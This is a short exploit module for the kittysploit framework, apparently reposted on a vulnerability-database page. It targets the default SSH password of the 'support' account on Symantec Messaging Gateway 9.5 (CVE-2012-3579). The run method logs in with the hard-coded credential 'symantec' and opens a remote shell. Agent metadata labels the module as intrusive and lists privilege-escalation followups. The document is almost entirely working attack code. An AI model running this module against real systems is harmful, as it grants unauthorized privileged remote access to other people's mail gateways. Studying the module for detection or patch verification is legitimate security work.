Symantec Messaging Gateway 9.5 Default SSH Password
from kittysploit import *
from lib.protocols.ssh.ssh_client import Ssh_client
from lib.exploit.handler import Handler
class Module(Exploit, Ssh_client, Handler):
__info__ = {
'name': 'Symantec Messaging Gateway 9.5 Default SSH Password',
'description': "The 'support' user has a known default password, which can be used to login to the SSH service, and gain privileged access from remote",
'cve': '2012-3579',
'payload': {
'default':'nopayload',
},
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
},
}
ssh_target = OptString("", "Target IPv4", "yes")
ssh_port = OptPort(22, "Target SSH port", "yes")
def run(self):
client = self.open_ssh(user="support", password="symantec")
connection = client.login()
if connection:
self.handler_ssh(connection)
else:
self.not_vulnerable()
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10 Jul 2026 11:31Current
5.8Medium risk
Vulners AI Score5.8